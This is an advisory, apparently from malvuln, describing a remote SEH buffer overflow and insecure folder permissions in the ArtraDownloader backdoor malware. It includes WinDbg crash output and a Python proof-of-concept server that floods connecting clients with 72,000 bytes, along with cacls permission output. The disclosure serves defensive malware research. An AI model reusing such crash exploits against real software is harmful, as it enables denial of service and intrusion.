Win32 Backdoor 2019-02-ARTRADOWNLOADER SEH Buffer Overflow

Win32 backdoor 2019-02-ARTRADOWNLOADER suffers from a remote SEH buffer overflow vulnerability.


MD5 | 48de69aab1ed6bfc5fd14563a697a420

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/8d42c01180be7588a2a68ad96dd0cf85.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: WIN32 BACKDOOR - 2019-02-ARTRADOWNLOADER
Vulnerabilities: Remote SEH Buffer Overflow and Insecure Permissions
Description: Remote SEH Buffer Overflow on server response port 80. Change permissions are granted to authenticated users on the c:\intel dir housing the malware.

Type: PE32
MD5: 8d42c01180be7588a2a68ad96dd0cf85
Vuln ID: MVID-2021-0013
Dropped files: msdtcv.exe
ASLR: True
Safe SEH: True
Disclosure: 01/01/2021

Memory Dump:
0:000> !exchain
008fb44c: KERNELBASE!invalid_parameter+f0 (7675fc20)
008fb514: kernel32!RtlCaptureContext+60 (76e8d450)
008fb5d8: KERNELBASE!invalid_parameter+f0 (7675fc20)
008fc994: 41414141
Invalid exception stack at 41414141

0:000> .ecxr
eax=008fb924 ebx=ffffffff ecx=41cef865 edx=02c24bc8 esi=008fe5a0 edi=73cfbeb0
eip=009029be esp=008fb924 ebp=008fc9a0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0+0x29be:
009029be 81c4800f0000 add esp,0F80h

0:000>dd 008fb9cc
008fb9cc 41414141 41414141 41414141 41414141
008fb9dc 41414141 41414141 41414141 41414141
008fb9ec 41414141 41414141 41414141 41414141
008fb9fc 41414141 41414141 41414141 41414141


Exploit/PoC:
import socket

port=80
payload="A"*72000

def doit():
global payload
s = socket.socket()
try:
host = ''
s.bind((host, port))
s.listen(5)

print('Win32 Backdoor - 2019-02-ArtraDownloader / SEH Buffer Overflow PoC')
print('MD5: 8d42c01180be7588a2a68ad96dd0cf85')
print("By malvuln")

while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
except Exception as e:
pass

if __name__=="__main__":
doit()



Insecure Permissions: msdtcv.exe

C:\intel>cacls msdtcv.exe
C:\intel\msdtcv.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C



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